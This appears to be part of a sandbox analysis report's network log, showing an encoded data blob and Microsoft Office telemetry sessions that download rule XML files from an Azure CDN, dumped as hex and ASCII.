rJ3Nomoh/B68AtMLoGsWQga0UPT2Q4rmysWQMTuPUDnj2o6qc2ioU48MxhqlLS1eBaRd+P8JlqnZjJA1fNQCf6KTir0yOeR3jRfNC+M2aU1FpVe5okORotyBkDF90hYy7dyMpX1lr1eMBM4eri01Xg6tV/D2DtXmk4KPfSOXITLi3YqzMn7qR8oCz1v7aSZYCqFU+vkCn7rBiZ41ftsbMerBi6p7YqdXjQ3PEaAuZxpFpUO5okO2v8OI1yI1zlA
2024-11-15 18:39:17 UTC	1369	IN	Data Raw: 71 4e 38 63 36 46 59 68 51 72 4b 45 71 63 68 4a 46 51 42 70 6c 7a 38 2b 51 2b 65 72 39 43 4b 6b 7a 52 31 33 68 39 2f 6f 70 4f 4b 76 54 49 35 35 48 2b 52 42 73 38 57 34 7a 5a 70 54 55 57 6c 56 37 6d 69 51 35 6d 6d 31 6f 57 64 4f 33 2f 53 46 6a 58 70 30 34 61 6d 66 57 57 69 57 6f 55 46 79 42 4b 69 4c 79 4a 65 44 71 52 57 2b 76 77 46 31 65 61 54 67 6f 39 39 49 35 63 77 4a 4f 48 66 69 75 56 74 4c 37 30 65 6a 51 6d 44 51 2b 4d 69 4b 31 41 43 6f 6c 62 36 38 67 61 52 6f 74 61 46 6e 79 39 7a 31 78 63 74 2f 74 4f 45 6f 48 35 69 70 46 71 4d 44 4d 55 59 70 32 6c 70 46 41 4b 36 47 36 47 36 4c 70 6d 76 2b 6f 4b 4d 66 57 53 5a 43 58 2f 72 33 38 33 39 4d 6d 43 76 56 49 55 49 77 42 32 67 49 69 4a 65 42 4b 56 54 39 4f 67 41 6d 71 66 58 68 5a 67 37 66 64 59 66 4f 65 76 61 Data Ascii: qN8c6FYhQrKEqchJFQBplz8+Q+er9CKkzR13h9/opOKvTI55H+RBs8W4zZpTUWlV7miQ5mm1oWdO3/SFjXp04amfWWiWoUFyBKiLyJeDqRW+vwF1eaTgo99I5cwJOHfiuVtL70ejQmDQ+MiK1AColb68gaRotaFny9z1xct/tOEoH5ipFqMDMUYp2lpFAK6G6G6Lpmv+oKMfWSZCX/r3839MmCvVIUIwB2gIiJeBKVT9OgAmqfXhZg7fdYfOeva
2024-11-15 18:39:17 UTC	1369	IN	Data Raw: 4c 6a 59 4c 51 69 31 52 47 6b 4f 53 42 44 43 75 49 56 75 66 56 44 7a 5a 47 54 6a 4a 41 6d 61 73 45 64 4c 2b 75 54 73 75 73 79 65 65 51 47 79 6a 44 41 46 61 30 75 4d 55 56 49 68 55 33 7a 2f 52 4f 53 76 39 7a 46 32 58 31 39 6c 30 68 73 6f 70 4f 4a 74 44 49 35 39 41 7a 52 55 4a 42 4d 38 33 73 34 47 68 7a 69 54 62 6d 69 55 64 76 6f 77 63 58 50 66 54 7a 55 41 69 33 71 30 4a 75 6d 4e 56 2b 61 65 5a 41 49 78 51 79 79 46 78 6c 54 48 36 39 64 37 75 74 50 67 4b 76 64 69 35 41 72 4f 35 6c 51 4d 4b 79 4c 74 4f 55 36 49 5a 73 51 79 68 32 44 51 2b 4d 63 4a 46 6f 4c 70 55 33 6f 74 79 53 50 70 64 57 53 68 6e 30 31 6c 78 5a 2f 74 49 50 44 35 58 5a 77 35 41 62 61 56 35 68 4f 38 48 35 33 42 68 72 73 51 72 6e 73 51 38 33 36 6e 63 57 46 66 53 4f 58 56 7a 7a 2b 77 59 75 6d 5a Data Ascii: LjYLQi1RGkOSBDCuIVufVDzZGTjJAmasEdL+uTsusyeeQGyjDAFa0uMUVIhU3z/ROSv9zF2X19l0hsopOJtDI59AzRUJBM83s4GhziTbmiUdvowcXPfTzUAi3q0JumNV+aeZAIxQyyFxlTH69d7utPgKvdi5ArO5lQMKyLtOU6IZsQyh2DQ+McJFoLpU3otySPpdWShn01lxZ/tIPD5XZw5AbaV5hO8H53BhrsQrnsQ836ncWFfSOXVzz+wYumZ
2024-11-15 18:39:17 UTC	1369	IN	Data Raw: 53 52 5a 74 62 6c 69 6f 70 57 67 4b 30 53 72 54 64 44 5a 4b 70 78 5a 57 41 4d 6a 75 5a 55 44 6d 73 69 39 2f 72 4d 6d 57 31 48 74 4a 56 6b 55 44 32 65 6e 41 45 56 37 30 56 34 4c 6f 56 31 66 43 42 79 39 63 76 4f 34 39 51 65 4f 2f 42 6e 36 4e 78 64 36 63 5a 74 44 76 6b 46 61 51 6f 4d 55 51 53 72 52 54 58 7a 43 4b 72 6c 73 61 47 6d 54 4e 38 77 51 46 2f 6f 70 4f 43 35 53 70 59 35 42 62 4b 4f 6f 31 62 75 32 6c 2f 46 44 43 68 56 66 66 39 46 59 54 6c 39 49 75 51 50 47 33 48 42 7a 43 6a 2f 62 75 45 4d 69 2f 6b 57 4d 70 64 6b 56 58 6a 4c 54 59 55 58 66 49 4a 6f 71 39 51 77 76 69 42 6d 74 6b 6b 4f 38 46 51 5a 37 36 64 7a 62 63 79 4f 65 51 5a 69 52 66 52 48 61 41 2f 4a 42 4d 37 6e 48 7a 33 2f 51 4b 44 75 4e 36 4a 74 6a 35 71 33 53 34 42 2b 64 43 44 71 33 56 33 74 52 Data Ascii: SRZtbliopWgK0SrTdDZKpxZWAMjuZUDmsi9/rMmW1HtJVkUD2enAEV70V4LoV1fCBy9cvO49QeO/Bn6Nxd6cZtDvkFaQoMUQSrRTXzCKrlsaGmTN8wQF/opOC5SpY5BbKOo1bu2l/FDChVff9FYTl9IuQPG3HBzCj/buEMi/kWMpdkVXjLTYUXfIJoq9QwviBmtkkO8FQZ76dzbcyOeQZiRfRHaA/JBM7nHz3/QKDuN6Jtj5q3S4B+dCDq3V3tR
2024-11-15 18:39:17 UTC	1369	IN	Data Raw: 4b 71 34 74 4d 55 45 47 73 6c 7a 48 78 43 36 48 72 38 4f 47 31 52 46 38 32 68 77 42 30 75 53 63 6f 6d 49 6a 67 6c 32 63 42 6f 4e 56 34 7a 46 6e 44 45 57 50 53 66 37 71 41 4e 65 45 31 49 69 62 66 57 53 5a 43 58 2f 36 6b 39 58 32 50 43 47 32 48 74 4a 46 68 42 69 78 4f 79 46 58 45 36 45 63 78 38 51 75 68 36 2f 44 68 74 55 4d 64 74 4d 47 4b 75 2f 44 69 70 74 4d 54 4c 5a 5a 6d 67 61 42 50 70 6c 72 46 6b 49 47 6f 6c 58 2b 75 6b 33 56 73 4a 50 64 31 78 42 70 30 41 41 38 72 76 61 33 35 30 4e 33 70 31 36 45 41 6f 4d 45 37 54 42 6e 51 6b 58 36 43 4c 65 36 45 64 58 77 6b 38 4b 5a 4d 48 72 55 48 6a 7a 2b 77 59 75 6d 5a 47 4c 6a 59 4c 51 71 79 42 71 7a 4a 44 5a 5a 41 62 52 6c 78 39 30 46 6b 4b 2f 74 75 36 41 73 66 4d 64 53 47 65 2f 46 6a 75 55 38 49 62 77 65 30 6b 58 Data Ascii: Kq4tMUEGslzHxC6Hr8OG1RF82hwB0uScomIjgl2cBoNV4zFnDEWPSf7qANeE1IibfWSZCX/6k9X2PCG2HtJFhBixOyFXE6Ecx8Quh6/DhtUMdtMGKu/DiptMTLZZmgaBPplrFkIGolX+uk3VsJPd1xBp0AA8rva350N3p16EAoME7TBnQkX6CLe6EdXwk8KZMHrUHjz+wYumZGLjYLQqyBqzJDZZAbRlx90FkK/tu6AsfMdSGe/FjuU8Ibwe0kX

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49704	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:17 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:17 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:17 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 18edf7b2-e01e-0003-11a0-340fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183917Z-164f84587bf2rt9xhC1DFW8drg00000001f000000000g8r2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:17 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49703	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:17 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:17 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:17 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: db45c3c2-701e-0053-2e8e-363a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183917Z-164f84587bfwh84ghC1DFWw35400000001xg00000000600n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:17 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49706	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:17 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:17 UTC	538	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:17 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: dcc6854f-e01e-0051-7b03-2d84b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183917Z-16547b76f7fwvr5dhC1DFW2c940000000n9g000000010z9b x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:17 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.7	49705	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:17 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:17 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:17 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 053649b2-001e-00ad-26a0-34554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183917Z-164f84587bf7jb9dhC1DFWkay400000001ag00000000brdp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:17 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.7	49707	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:17 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:17 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:17 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: 6c84f393-101e-007a-65a5-36047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183917Z-16547b76f7f9s8x7hC1DFWywrg00000001e000000000h8dk x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:17 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.7	49709	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:17 UTC	192	OUT	GET /rules/rule120610v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:18 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:17 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:46 GMT ETag: "0x8DC582B9964B277" x-ms-request-id: ee786005-101e-0065-140e-2d4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183917Z-16547b76f7fx6rhxhC1DFW76kg0000000nmg000000000dzu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:18 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120610" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.7	49710	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:17 UTC	192	OUT	GET /rules/rule120611v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:18 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:17 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:56 GMT ETag: "0x8DC582B9F6F3512" x-ms-request-id: 48bb68ea-401e-0016-35ff-2c53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183917Z-16547b76f7fw2955hC1DFWsptc000000025000000000ghtc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:18 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4c 6c 5d 5b 45 65 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 56 76 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120611" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120609" /> <SR T="2" R="([Ll][Ee][Nn][Oo][Vv][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.7	49711	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:17 UTC	192	OUT	GET /rules/rule120612v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:18 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:17 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:25 GMT ETag: "0x8DC582BB10C598B" x-ms-request-id: a427850a-601e-0097-52af-36f33a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183917Z-16547b76f7fx6rhxhC1DFW76kg0000000nkg000000004yaq x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:18 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120612" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.7	49712	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-15 18:39:17 UTC	192	OUT	GET /rules/rule120613v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-15 18:39:18 UTC	491	IN	HTTP/1.1 200 OK Date: Fri, 15 Nov 2024 18:39:18 GMT Content-Type: text/xml Content-Length: 632 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6E3779E" x-ms-request-id: c134a622-501e-008c-78af-36cd39000000 x-ms-version: 2018-03-28 x-azure-ref: 20241115T183918Z-16547b76f7fljddfhC1DFWeqbs00000002k0000000008kdv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-15 18:39:18 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" 